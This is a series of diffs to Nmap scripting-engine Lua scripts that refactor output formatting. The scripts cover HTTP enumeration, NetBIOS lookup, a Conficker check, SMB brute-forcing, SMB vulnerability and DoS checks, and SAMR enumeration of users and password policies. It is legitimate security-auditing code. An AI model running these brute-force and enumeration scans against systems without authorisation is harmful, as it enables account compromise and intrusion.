local result, err = http.can_use_get(host, port)
if(result == false) then
if(nmap.debugging() > 0) then
return "ERROR: " .. err
else
return nil
end
return stdnse.format_output(false, err)
end
end
@@ -303,11 +300,7 @@ action = function(host, port)
-- Check for http.pipeline error
if(results == nil) then
stdnse.print_debug(1, "http-enum.nse: http.pipeline returned nil")
if(nmap.debugging() > 0) then
return "ERROR: http.pipeline returned nil"
else
return nil
end
return stdnse.format_output(false, "http.pipeline returned nil")
end
for i, data in pairs(results) do
@@ -325,15 +318,11 @@ action = function(host, port)
end
stdnse.print_debug("Found a valid page! (%s)%s", description, status)
response = response .. string.format("%s%s\n", description, status)
table.insert(response, string.format("%s%s", description, status))
end
end
end
if string.len(response) > 2 then
return response
end
return nil
return stdnse.format_output(true, response)
end

View File

@@ -7,17 +7,21 @@ Performs a GET request for the root folder ("/") of a web server and displays th
-- Interesting ports on scanme.nmap.org (64.13.134.52):
-- PORT STATE SERVICE
-- 80/tcp open http syn-ack
-- | http-headers: (HEAD used)
-- | HTTP/1.1 200 OK
-- | Date: Thu, 27 Aug 2009 15:46:39 GMT
-- | Server: Apache/2.2.11 (Unix) PHP/5.2.8
-- | Connection: close
-- |_ Content-Type: text/html;charset=ISO-8859-1
-- | http-headers:
-- | | HTTP/1.1 200 OK
-- | | Date: Tue, 10 Nov 2009 01:25:11 GMT
-- | | Server: Apache/2.2.9 (Unix) PHP/5.2.10
-- | | Last-Modified: Sat, 11 Oct 2008 15:22:21 GMT
-- | | ETag: "90013-e3d-458fbd508c540"
-- | | Accept-Ranges: bytes
-- | | Content-Length: 3645
-- | | Connection: close
-- | | Content-Type: text/html
-- |_ |_ (Request type: HEAD)
--
--@args path The path to request, such as '/index.php'. Default: '/'.
--@args useget Set to force GET requests instead of HEAD.
author = "Ron Bowes <ron@skullsecurity.org>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@@ -81,11 +85,11 @@ action = function(host, port)
end
end
local response = "(" .. request_type .. " used)\n"
for _, header in ipairs(result.rawheader) do
response = response .. header .. "\n"
end
table.insert(result.rawheader, "(Request type: " .. request_type .. ")")
-- for _, header in ipairs(result.rawheader) do
-- response = response .. header .. "\n"
-- end
return response
return stdnse.format_output(true, result.rawheader)
end

View File

@@ -14,10 +14,11 @@ Thanks to Denis from the above link for finding this technique!
-- Interesting ports on www.sopharma.bg (84.242.167.49):
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- |_ http-infected: Host appears to be clean
-- |_ http-malware-host: Host appears to be clean
-- 8080/tcp open http-proxy syn-ack
-- | http-malware-host: Host appears to be infected (/ts/in.cgi?open2 redirects to http://last-another-life.ru:8080/index.php)
-- |_ See: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/
-- | http-malware-host:
-- | | Host appears to be infected (/ts/in.cgi?open2 redirects to http://last-another-life.ru:8080/index.php)
-- |_ |_ See: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/
--
author = "Ron Bowes <ron@skullsecurity.net>"
@@ -45,46 +46,40 @@ portrule = function(host, port)
return true
end
local function go(host, port)
action = function(host, port)
-- Check what response we get for a 404
local result, result_404, known_404 = http.identify_404(host, port)
if(result == false) then
return false, "Couldn't identify 404 message: " .. result_404
return stdnse.format_output(false, "Couldn't identify 404 message: " .. result_404)
end
-- If the 404 result is a 302, we're going to have trouble
if(result_404 == 302) then
return false, "Unknown pages return a 302 response; unable to check"
return stdnse.format_output(false, "Unknown pages return a 302 response; unable to check")
end
-- Perform a GET request on the file
result = http.get_url("http://" .. host.ip .. ":" .. port.number .. "/ts/in.cgi?open2")
if(result == nil) then
return false, "Couldn't perform GET request"
if(not(result)) then
return stdnse.format_output(false, "Couldn't perform GET request")
end
if(result.status == 302) then
local response = {}
if(result.header.location) then
return true, string.format("Host appears to be infected (/ts/in.cgi?open2 redirects to %s)\nSee: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/", result.header.location)
table.insert(response, string.format("Host appears to be infected (/ts/in.cgi?open2 redirects to %s)", result.header.location))
else
return true, string.format("Host appears to be infected (/ts/in.cgi?open2 return a redirect)\nSee: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/")
table.insert(response, "Host appears to be infected (/ts/in.cgi?open2 return a redirect")
end
table.insert(response, "See: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/")
return stdnse.format_output(true, response)
end
return true, nil
end
action = function(host, port)
local status, result = go(host, port)
if(status == false) then
if(nmap.debugging() > 0) then
return "ERROR: " .. result
else
return nil
end
-- Not infected
if(nmap.verbosity() > 0) then
return "Host appears to be clean"
else
return nil
end
return result
end

View File

@@ -11,19 +11,20 @@ owns.
-- sudo nmap -sU --script nbstat.nse -p137 <host>\n
--
-- @output
-- (no verbose)\n
-- |_ nbstat: NetBIOS name: TST, NetBIOS user: RON, NetBIOS MAC: 00:0c:29:f9:d9:28\n
--\n
-- (verbose)\n
-- | nbstat: NetBIOS name: TST, NetBIOS user: RON, NetBIOS MAC: 00:0c:29:f9:d9:28\n
-- | Name: TST<00> Flags: <unique><active>\n
-- | Name: TST<20> Flags: <unique><active>\n
-- | Name: WORKGROUP<00> Flags: <group><active>\n
-- | Name: TST<03> Flags: <unique><active>\n
-- | Name: WORKGROUP<1e> Flags: <group><active>\n
-- | Name: RON<03> Flags: <unique><active>\n
-- | Name: WORKGROUP<1d> Flags: <unique><active>\n
-- |_ Name: \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>\n
-- Host script results:
-- |_ nbstat: NetBIOS name: WINDOWS2003, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:c6:da:f5
--
-- Host script results:
-- | nbstat:
-- | | NetBIOS name: WINDOWS2003, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:c6:da:f5
-- | | Names
-- | | | WINDOWS2003<00> Flags: <unique><active>
-- | | | WINDOWS2003<20> Flags: <unique><active>
-- | | | SKULLSECURITY<00> Flags: <group><active>
-- | | | SKULLSECURITY<1e> Flags: <group><active>
-- | | | SKULLSECURITY<1d> Flags: <unique><active>
-- |_ |_ |_ \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
author = "Brandon Enright <bmenrigh@ucsd.edu>, Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@@ -67,7 +68,7 @@ action = function(host)
local names, statistics
local server_name, user_name
local mac
local result = ""
local response = {}
-- Get the list of NetBIOS names
status, names, statistics = netbios.do_nbstat(host.ip)
@@ -75,19 +76,19 @@ action = function(host)
status, names, statistics = netbios.do_nbstat(host.ip)
status, names, statistics = netbios.do_nbstat(host.ip)
if(status == false) then
return "ERROR: " .. names
return stdnse.format_output(false, names)
end
-- Get the server name
status, server_name = netbios.get_server_name(host.ip, names)
if(status == false) then
return "ERROR: " .. server_name
return stdnse.format_output(false, server_name)
end
-- Get the logged in user
status, user_name = netbios.get_user_name(host.ip, names)
if(status == false) then
return "ERROR: " .. user_name
return stdnse.format_output(false, user_name)
end
-- Format the Mac address in the standard way
@@ -106,27 +107,40 @@ action = function(host)
user_name = "<unknown>"
end
result = result .. string.format("NetBIOS name: %s, NetBIOS user: %s, NetBIOS MAC: %s\n", server_name, user_name, mac)
-- If verbosity is set, dump the whole list of names
if(nmap.verbosity() >= 1) then
table.insert(response, string.format("NetBIOS name: %s, NetBIOS user: %s, NetBIOS MAC: %s\n", server_name, user_name, mac))
local names_output = {}
names_output['name'] = "Names"
for i = 1, #names, 1 do
local padding = string.rep(" ", 17 - string.len(names[i]['name']))
local flags_str = netbios.flags_to_string(names[i]['flags'])
result = result .. string.format("Name: %s<%02x>%sFlags: %s\n", names[i]['name'], names[i]['suffix'], padding, flags_str)
table.insert(names_output, string.format("%s<%02x>%sFlags: %s\n", names[i]['name'], names[i]['suffix'], padding, flags_str))
end
table.insert(response, names_output)
-- If super verbosity is set, print out the full statistics
if(nmap.verbosity() >= 2) then
result = result .. "Statistics: "
local statistics_output = {}
local statistics_string = ''
statistics_output['name'] = "Statistics"
for i = 1, #statistics, 1 do
result = result .. string.format("%02x ", statistics:byte(i))
statistics_string = statistics_string .. string.format("%02x ", statistics:byte(i))
if(i ~= #statistics and ((i) % 16) == 0) then
table.insert(statistics_output, statistics_string)
statistics_string = ''
end
end
result = result .. "\n"
table.insert(statistics_output, statistics_string)
table.insert(response, statistics_output)
end
return stdnse.format_output(true, response)
else
return string.format("NetBIOS name: %s, NetBIOS user: %s, NetBIOS MAC: %s\n", server_name, user_name, mac)
end
return result
end

View File

@@ -530,10 +530,10 @@ local function conficker_check(ip, port, protocol)
return true, "Received valid data", result
end
local function go(host)
action = function(host)
local tcp_ports = {}
local udp_ports = {}
local response = " \n"
local response = {}
local i
local port, protocol
local count = 0
@@ -553,10 +553,6 @@ local function go(host)
udp_ports[i] = true
end
end
-- if((i % 10) == 0) then
-- io.write(i .. "\n")
-- end
end
end
@@ -582,7 +578,7 @@ local function go(host)
udp_ports[generated_ports[2]] = true
udp_ports[generated_ports[4]] = true
response = string.format("Checking for Conficker.C or higher...\n")
table.insert(response, string.format("Checking for Conficker.C or higher..."))
-- Check the TCP ports
for port in pairs(tcp_ports) do
@@ -592,10 +588,10 @@ local function go(host)
checks = checks + 1
if(status == true) then
response = response .. string.format("| Check %d (port %d/%s): INFECTED (%s)\n", checks, port, "tcp", reason)
table.insert(response, string.format("Check %d (port %d/%s): INFECTED (%s)", checks, port, "tcp", reason))
count = count + 1
else
response = response .. string.format("| Check %d (port %d/%s): CLEAN (%s)\n", checks, port, "tcp", reason)
table.insert(response, string.format("Check %d (port %d/%s): CLEAN (%s)", checks, port, "tcp", reason))
end
end
@@ -607,43 +603,24 @@ local function go(host)
checks = checks + 1
if(status == true) then
response = response .. string.format("| Check %d (port %d/%s): INFECTED (%s)\n", checks, port, "udp", reason)
table.insert(response, string.format("Check %d (port %d/%s): INFECTED (%s)", checks, port, "udp", reason))
count = count + 1
else
response = response .. string.format("| Check %d (port %d/%s): CLEAN (%s)\n", checks, port, "udp", reason)
table.insert(response, string.format("| Check %d (port %d/%s): CLEAN (%s)", checks, port, "udp", reason))
end
end
-- Remove the response if verbose is turned off
if(count == 0 and nmap.verbosity() < 2) then
response = ""
-- Check how many INFECTED hits we got
if(count == 0) then
if (nmap.verbosity() > 1) then
table.insert(response, string.format("%d/%d checks are positive: Host is CLEAN or ports are blocked", count, checks))
else
response = ''
end
else
response = response .. "|_ "
table.insert(response, string.format("%d/%d checks are positive: Host is likely INFECTED", count, checks))
end
-- Check how many INFECTED hits we got
if(count == 0) then
if (nmap.verbosity() > 1) then
response = response .. string.format("%d/%d checks are positive: Host is CLEAN or ports are blocked\n", count, checks)
else
response = nil
end
else
response = response .. string.format("%d/%d checks are positive: Host is likely INFECTED\n", count, checks)
end
return true, response
return true, stdnse.format_output(true, response)
end
action = function(host)
local status, result = go(host)
if(status == false) then
return "ERROR: " .. result
else
return result
end
end

View File

@@ -43,13 +43,13 @@ Entry { filename = "skypev2-version.nse", categories = { "version", } }
Entry { filename = "smb-brute.nse", categories = { "auth", "intrusive", } }
Entry { filename = "smb-check-vulns.nse", categories = { "dos", "exploit", "intrusive", "vuln", } }
Entry { filename = "smb-enum-domains.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-enum-groups.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-enum-processes.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-enum-sessions.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-enum-shares.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-enum-users.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-os-discovery.nse", categories = { "default", "discovery", "safe", } }
Entry { filename = "smb-psexec.nse", categories = { "intrusive", } }
Entry { filename = "smb-pwdump.nse", categories = { "intrusive", } }
Entry { filename = "smb-security-mode.nse", categories = { "discovery", "safe", } }
Entry { filename = "smb-server-stats.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-system-info.nse", categories = { "discovery", "intrusive", } }

View File

@@ -67,16 +67,16 @@ determined with a fairly efficient bruteforce. For example, if the actual passwo
--@output
-- Host script results:
-- | smb-brute:
-- | bad name:test => Login was successful
-- | consoletest:test => Password was correct, but user can't log in without changing it
-- | guest:<anything> => Password was correct, but user's account is disabled
-- | mixcase:BuTTeRfLY1 => Login was successful
-- | test:password1 => Login was successful
-- | this:password => Login was successful
-- | thisisaverylong:password => Login was successful
-- | thisisaverylongname:password => Login was successful
-- | thisisaverylongnamev:password => Login was successful
-- |_ web:TeSt => Password was correct, but user's account is disabled
-- | | bad name:test => Login was successful
-- | | consoletest:test => Password was correct, but user can't log in without changing it
-- | | guest:<anything> => Password was correct, but user's account is disabled
-- | | mixcase:BuTTeRfLY1 => Login was successful
-- | | test:password1 => Login was successful
-- | | this:password => Login was successful
-- | | thisisaverylong:password => Login was successful
-- | | thisisaverylongname:password => Login was successful
-- | | thisisaverylongnamev:password => Login was successful
-- |_ |_ web:TeSt => Password was correct, but user's account is disabled
--
-- @args smblockout Unless this is set to '1' or 'true', the script won't continue if it
-- locks out an account or thinks it will lock out an account.
@@ -1001,7 +1001,7 @@ action = function(host, port)
-- TRACEBACK[coroutine.running()] = true;
local status, result
local response = " \n"
local response = {}
local username
local usernames = {}
@@ -1010,11 +1010,7 @@ action = function(host, port)
status, result, locked_result = go(host)
if(status == false) then
if(nmap.debugging() > 0) then
return "ERROR: " .. result
else
return nil
end
return stdnse.format_output(false, result)
end
-- Put the usernames in their own table
@@ -1027,11 +1023,11 @@ action = function(host, port)
-- Display the usernames
if(#usernames == 0) then
response = "No accounts found\n"
table.insert(response, "No accounts found")
else
for i=1, #usernames, 1 do
local username = usernames[i]
response = response .. format_result(username, result[username]['password'], result[username]['result']) .. "\n"
table.insert(response, format_result(username, result[username]['password'], result[username]['result']))
end
end
@@ -1044,9 +1040,9 @@ action = function(host, port)
table.sort(locked)
-- Display the list
response = response .. string.format("Locked accounts found: %s\n", stdnse.strjoin(", ", locked))
table.insert(response, string.format("Locked accounts found: %s", stdnse.strjoin(", ", locked)))
end
return response
return stdnse.format_output(true, response)
end

View File

@@ -63,10 +63,10 @@ on the Nmap-dev mailing list and I'll add it to my list [Ron Bowes]).
--@output
-- Host script results:
-- | smb-check-vulns:
-- | MS08-067: FIXED
-- | Conficker: Likely INFECTED
-- | regsvc DoS: FIXED
-- |_ SMBv2 DoS (CVE-2009-3103): VULNERABLE
-- | | MS08-067: NOT VULNERABLE
-- | | Conficker: Likely CLEAN
-- | | regsvc DoS: NOT VULNERABLE
-- |_ |_ SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE
--
-- @args unsafe If set, this script will run checks that, if the system isn't
-- patched, are basically guaranteed to crash something. Remember that
@@ -407,9 +407,9 @@ local function get_response(check, message, description, minimum_verbosity, mini
-- Check if we have appropriate verbosity/debug
if(nmap.verbosity() >= minimum_verbosity and nmap.debugging() >= minimum_debug) then
if(description == nil or description == '') then
return string.format("%s: %s\n", check, message)
return string.format("%s: %s", check, message)
else
return string.format("%s: %s (%s)\n", check, message, description)
return string.format("%s: %s (%s)", check, message, description)
end
else
return ''
@@ -419,23 +419,23 @@ end
action = function(host)
local status, result, message
local response = ""
local response = {}
-- Check for ms08-067
status, result, message = check_ms08_067(host)
if(status == false) then
response = response .. get_response("MS08-067", "ERROR", result, 0, 1)
table.insert(response, get_response("MS08-067", "ERROR", result, 0, 1))
else
if(result == VULNERABLE) then
response = response .. get_response("MS08-067", "VULNERABLE", nil, 0)
table.insert(response, get_response("MS08-067", "VULNERABLE", nil, 0))
elseif(result == UNKNOWN) then
response = response .. get_response("MS08-067", "LIKELY VULNERABLE", "host stopped responding", 1) -- TODO: this isn't very accurate
table.insert(response, get_response("MS08-067", "LIKELY VULNERABLE", "host stopped responding", 1)) -- TODO: this isn't very accurate
elseif(result == NOTRUN) then
response = response .. get_response("MS08-067", "CHECK DISABLED", "remove 'safe=1' argument to run", 1)
table.insert(response, get_response("MS08-067", "CHECK DISABLED", "remove 'safe=1' argument to run", 1))
elseif(result == INFECTED) then
response = response .. get_response("MS08-067", "FIXED", "likely by Conficker", 0)
table.insert(response, get_response("MS08-067", "NOT VULNERABLE", "likely by Conficker", 0))
else
response = response .. get_response("MS08-067", "FIXED", nil, 1)
table.insert(response, get_response("MS08-067", "NOT VULNERABLE", nil, 1))
end
end
@@ -443,55 +443,48 @@ action = function(host)
status, result = check_conficker(host)
if(status == false) then
local msg = CONFICKER_ERROR_HELP[result] or "UNKNOWN; got error " .. result
response = response .. get_response("Conficker", msg, nil, 1) -- Only set verbosity for this, since it might be an error or it might be UNKNOWN
table.insert(response, get_response("Conficker", msg, nil, 1)) -- Only set verbosity for this, since it might be an error or it might be UNKNOWN
else
if(result == CLEAN) then
response = response .. get_response("Conficker", "Likely CLEAN", nil, 1)
table.insert(response, get_response("Conficker", "Likely CLEAN", nil, 1))
elseif(result == INFECTED) then
response = response .. get_response("Conficker", "Likely INFECTED", "by Conficker.C or lower", 0)
table.insert(response, get_response("Conficker", "Likely INFECTED", "by Conficker.C or lower", 0))
elseif(result == INFECTED2) then
response = response .. get_response("Conficker", "Likely INFECTED", "by Conficker.D or higher", 0)
table.insert(response, get_response("Conficker", "Likely INFECTED", "by Conficker.D or higher", 0))
else
response = response .. get_response("Conficker", "UNKNOWN", result, 0, 1)
table.insert(response, get_response("Conficker", "UNKNOWN", result, 0, 1))
end
end
-- Check for a winreg_Enum crash
status, result = check_winreg_Enum_crash(host)
if(status == false) then
response = response .. get_response("regsvc DoS", "ERROR", result, 0, 1)
table.insert(response, get_response("regsvc DoS", "ERROR", result, 0, 1))
else
if(result == VULNERABLE) then
response = response .. get_response("regsvc DoS", "VULNERABLE", nil, 0)
table.insert(response, get_response("regsvc DoS", "VULNERABLE", nil, 0))
elseif(result == NOTRUN) then
response = response .. get_response("regsvc DoS", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1)
table.insert(response, get_response("regsvc DoS", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
else
response = response .. get_response("regsvc DoS", "FIXED", nil, 1)
table.insert(response, get_response("regsvc DoS", "NOT VULNERABLE", nil, 1))
end
end
-- Check for SMBv2 vulnerablity
status, result = check_smbv2_dos(host)
if(status == false) then
response = response .. get_response("SMBv2 DoS (CVE-2009-3103)", "ERROR", result, 0, 1)
table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "ERROR", result, 0, 1))
else
if(result == VULNERABLE) then
response = response .. get_response("SMBv2 DoS (CVE-2009-3103)", "VULNERABLE", nil, 0)
table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "VULNERABLE", nil, 0))
elseif(result == NOTRUN) then
response = response .. get_response("SMBv2 DoS (CVE-2009-3103)", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1)
table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
else
response = response .. get_response("SMBv2 DoS (CVE-2009-3103)", "FIXED", nil, 1)
table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "NOT VULNERABLE", nil, 1))
end
end
-- If we got a response, add a linefeed
if(response ~= "") then
response = " \n" .. response
else
response = nil
end
return response
return stdnse.format_output(true, response)
end

View File

@@ -32,26 +32,20 @@ After the initial <code>bind</code> to SAMR, the sequence of calls is:
--
--@output
-- Host script results:
-- | smb-enum-domains:
-- | Domain: LOCALSYSTEM
-- | |_ SID: S-1-5-21-2956463495-2656032972-1271678565
-- | |_ Users: Administrator, Guest, SUPPORT_388945a0
-- | |_ Creation time: 2007-11-26 15:24:04
-- | |_ Passwords: min length: 11 characters; min age: 5 days; max age: 63 days
-- | |_ Password lockout: 3 attempts in under 15 minutes will lock the account until manually reset
-- | |_ Password history : 5 passwords
-- | |_ Password properties:
-- | |_ Password complexity requirements exist
-- | |_ Administrator account cannot be locked out
-- | Domain: Builtin
-- | |_ SID: S-1-5-32
-- | |_ Users:
-- | |_ Creation time: 2007-11-26 15:24:04
-- | |_ Passwords: min length: n/a; min age: n/a; max age: 42 days
-- | |_ Account lockout disabled
-- | |_ Password properties:
-- | |_ Password complexity requirements do not exist
-- |_ |_ Administrator account cannot be locked out
-- | smb-enum-domains:
-- | | WINDOWS2003 (S-1-5-21-4146152237-3614947961-1862238888)
-- | | | Groups: HelpServicesGroup, IIS_WPG, TelnetClients
-- | | | Users: Administrator, ASPNET, Guest, IUSR_WINDOWS2003, IWAM_WINDOWS2003, ron, SUPPORT_388945a0, test
-- | | | Creation time: 2009-10-17 12:46:43
-- | | | Passwords: min length: n/a; min age: n/a; max age: 42 days; history: n/a
-- | | |_ Account lockout disabled
-- | | Builtin (S-1-5-32)
-- | | | Groups: Administrators, Backup Operators, Distributed COM Users, Guests, Network Configuration Operators, Performance Log Users, Performance Monitor Users, Power Users, Print Operators, Remote Desktop Users, Replicator, Users
-- | | | Users: n/a
-- | | | Creation time: 2009-10-17 12:46:43
-- | | | Passwords: min length: n/a; min age: n/a; max age: 42 days; history: n/a
-- |_ |_ |_ Account lockout disabled
--
-----------------------------------------------------------------------
author = "Ron Bowes"
@@ -63,46 +57,191 @@ require 'msrpc'
require 'smb'
require 'stdnse'
-- TODO: This script needs some love...
hostrule = function(host)
return smb.get_port(host) ~= nil
end
local function get_domain_info(smbstate, domain)
local sid
local domain_handle
-- Call LookupDomain()
status, lookupdomain_result = msrpc.samr_lookupdomain(smbstate, connect_handle, domain)
if(status == false) then
return false, "Couldn't look up the domain: " .. lookupdomain_result
end
-- Save the sid
sid = lookupdomain_result['sid']
-- Call OpenDomain()
status, opendomain_result = msrpc.samr_opendomain(smbstate, connect_handle, sid)
if(status == false) then
return false, opendomain_result
end
-- Save the domain handle
domain_handle = opendomain_result['domain_handle']
-- Call QueryDomainInfo2() to get domain properties. We call these for three types -- 1, 8, and 12, since those return
-- the most useful information.
status_1, querydomaininfo2_result_1 = msrpc.samr_querydomaininfo2(smbstate, domain_handle, 1)
status_8, querydomaininfo2_result_8 = msrpc.samr_querydomaininfo2(smbstate, domain_handle, 8)
status_12, querydomaininfo2_result_12 = msrpc.samr_querydomaininfo2(smbstate, domain_handle, 12)
if(status_1 == false) then
return false, querydomaininfo2_result_1
end
if(status_8 == false) then
return false, querydomaininfo2_result_8
end
if(status_12 == false) then
return false, thenquerydomaininfo2_result_12
end
-- Call EnumDomainUsers() to get users
status, enumdomainusers_result = msrpc.samr_enumdomainusers(smbstate, domain_handle)
if(status == false) then
return false, enumdomainusers_result
end
-- Call EnumDomainAliases() to get groups
local status, enumdomaingroups_result = msrpc.samr_enumdomainaliases(smbstate, domain_handle)
if(status == false) then
return false, enumdomaingroups_result
end
-- Close the domain handle
msrpc.samr_close(smbstate, domain_handle)
-- Create a list of groups
local groups = {}
if(enumdomaingroups_result['sam'] ~= nil and enumdomaingroups_result['sam']['entries'] ~= nil) then
for _, group in ipairs(enumdomaingroups_result['sam']['entries']) do
table.insert(groups, group.name)
end
end
-- Create the list of users
local names = {}
if(enumdomainusers_result['sam'] ~= nil and enumdomainusers_result['sam']['entries'] ~= nil) then
for _, name in ipairs(enumdomainusers_result['sam']['entries']) do
table.insert(names, name.name)
end
end
-- Our output table
local response = {}
-- Finally, start filling in the response!
response['name'] = string.format("%s (%s)", domain, sid)
-- Add the list of groups as a comma-separated list
if(groups and (#groups > 0)) then
table.insert(response, string.format("Groups: %s", stdnse.strjoin(", ", groups)))
else
table.insert(response, string.format("Groups: n/a"))
end
-- Add the list of users as a comma-separated list
if(names and (#names > 0)) then
table.insert(response, string.format("Users: %s", stdnse.strjoin(", ", names)))
else
table.insert(response, string.format("Users: n/a"))
end
if(querydomaininfo2_result_8['info']['domain_create_time'] ~= 0) then
table.insert(response, string.format("Creation time: %s", os.date("%Y-%m-%d %H:%M:%S", querydomaininfo2_result_8['info']['domain_create_time'])))
end
-- Password characteristics
local min_password_length = querydomaininfo2_result_1['info']['min_password_length']
local max_password_age = querydomaininfo2_result_1['info']['max_password_age'] / 60 / 60 / 24
local min_password_age = querydomaininfo2_result_1['info']['min_password_age'] / 60 / 60 / 24
local password_history = querydomaininfo2_result_1['info']['password_history_length']
if(min_password_length > 0) then
min_password_length = string.format("%d characters", min_password_length)
else
min_password_length = "n/a"
end
if(max_password_age > 0 and max_password_age < 5000) then
max_password_age = string.format("%d days", max_password_age)
else
max_password_age = "n/a"
end
if(min_password_age > 0) then
min_password_age = string.format("%d days", min_password_age)
else
min_password_age = "n/a"
end
if(password_history > 0) then
password_history = string.format("%d passwords", password_history)
else
password_history = "n/a"
end
table.insert(response, string.format("Passwords: min length: %s; min age: %s; max age: %s; history: %s", min_password_length, min_password_age, max_password_age, password_history))
local lockout_duration = querydomaininfo2_result_12['info']['lockout_duration']
if(lockout_duration < 0) then
lockout_duration = string.format("for %d minutes", querydomaininfo2_result_12['info']['lockout_duration'])
else
lockout_duration = "until manually reset"
end
if(querydomaininfo2_result_12['info']['lockout_threshold'] > 0) then
table.insert(response, string.format("Password lockout: %d attempts in under %d minutes will lock the account %s", querydomaininfo2_result_12['info']['lockout_threshold'], querydomaininfo2_result_12['info']['lockout_window'] / 60, lockout_duration))
else
table.insert(response, string.format("Account lockout disabled"))
end
local password_properties = querydomaininfo2_result_1['info']['password_properties']
if(#password_properties > 0) then
local password_properties_response = {}
password_properties_response['name'] = "Password properties:"
for j = 1, #password_properties, 1 do
table.insert(password_properties_response, msrpc.samr_PasswordProperties_tostr(password_properties[j]))
end
table.insert(response, password_properties_response)
end
return true, response
end
action = function(host)
local response = " \n"
local response = {}
local status, smbstate
local i, j
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, msrpc.SAMR_PATH)
if(status == false) then
if(nmap.debugging() > 0) then
return "ERROR: " .. smbstate
else
return nil
end
return stdnse.format_output(false, smbstate)
end
-- Bind to SAMR service
status, bind_result = msrpc.bind(smbstate, msrpc.SAMR_UUID, msrpc.SAMR_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
if(nmap.debugging() > 0) then
return "ERROR: " .. bind_result
else
return nil
end
return stdnse.format_output(false, bind_result)
end
-- Call connect4()
status, connect4_result = msrpc.samr_connect4(smbstate, host.ip)
if(status == false) then
msrpc.stop_smb(smbstate)
if(nmap.debugging() > 0) then
return "ERROR: " .. connect4_result
else
return nil
end
return stdnse.format_output(false, connect4_result)
end
-- Save the connect_handle
@@ -111,170 +250,27 @@ action = function(host)
-- Call EnumDomains()
status, enumdomains_result = msrpc.samr_enumdomains(smbstate, connect_handle)
if(status == false) then
msrpc.stop_smb(smbstate)
if(nmap.debugging() > 0) then
return "ERROR: " .. enumdomains_result
else
return nil
end
return stdnse.format_output(false, enumdomains_result)
end
-- If no domains were returned, print an error (I don't expect this will actually happen)
if(#enumdomains_result['sam']['entries'] == 0) then
if(nmap.debugging() > 0) then
return "ERROR: Couldn't find any domains to check"
else
return nil
end
return stdnse.format_output(false, "Couldn't find any domains")
end
for i = 1, #enumdomains_result['sam']['entries'], 1 do
local domain = enumdomains_result['sam']['entries'][i]['name']
local sid
local domain_handle
local status, domain_info = get_domain_info(smbstate, domain)
-- Call LookupDomain()
status, lookupdomain_result = msrpc.samr_lookupdomain(smbstate, connect_handle, domain)
if(status == false) then
msrpc.stop_smb(smbstate)
if(nmap.debugging() > 0) then
return "ERROR: " .. lookupdomain_result
else
return nil
end
end
-- Save the sid
sid = lookupdomain_result['sid']
-- Call OpenDomain()
status, opendomain_result = msrpc.samr_opendomain(smbstate, connect_handle, sid)
if(status == false) then
msrpc.stop_smb(smbstate)
if(nmap.debugging() > 0) then
return "ERROR: " .. opendomain_result
else
return nil
end
end
-- Save the domain handle
domain_handle = opendomain_result['domain_handle']
-- Call QueryDomainInfo2() to get domain properties. We call these for three types -- 1, 8, and 12, since those return
-- the most useful information.
status_1, querydomaininfo2_result_1 = msrpc.samr_querydomaininfo2(smbstate, domain_handle, 1)
status_8, querydomaininfo2_result_8 = msrpc.samr_querydomaininfo2(smbstate, domain_handle, 8)
status_12, querydomaininfo2_result_12 = msrpc.samr_querydomaininfo2(smbstate, domain_handle, 12)
if(status_1 == false) then
msrpc.stop_smb(smbstate)
if(nmap.debugging() > 0) then
return "ERROR: " .. querydomaininfo2_result_1
else
return nil
end
end
if(status_8 == false) then
msrpc.stop_smb(smbstate)
if(nmap.debugging() > 0) then
return "ERROR: " .. querydomaininfo2_result_8
else
return nil
end
end
if(status_12 == false) then
msrpc.stop_smb(smbstate)
if(nmap.debugging() > 0) then
return "ERROR: " .. querydomaininfo2_result_12
else
return nil
end
end
-- Call EnumDomainUsers() to get users
status, enumdomainusers_result = msrpc.samr_enumdomainusers(smbstate, domain_handle)
if(status == false) then
msrpc.stop_smb(smbstate)
if(nmap.debugging() > 0 and enumdomainusers_result ~= nil) then
return "ERROR: " .. enumdomainusers_result
else
return nil
end
end
-- Close the domain handle
msrpc.samr_close(smbstate, domain_handle)
-- Create the list of users
local names = {}
if(enumdomainusers_result['sam'] ~= nil and enumdomainusers_result['sam']['entries'] ~= nil) then
for j = 1, #enumdomainusers_result['sam']['entries'], 1 do
local name = enumdomainusers_result['sam']['entries'][j]['name']
names[#names + 1] = name
end
end
-- Finally, fill in the response!
response = response .. string.format("Domain: %s\n", domain)
response = response .. string.format(" |_ SID: %s\n", lookupdomain_result['sid'])
if(#names ~= 0) then
response = response .. string.format(" |_ Users: %s\n", stdnse.strjoin(", ", names))
end
if(querydomaininfo2_result_8['info']['domain_create_time'] ~= 0) then
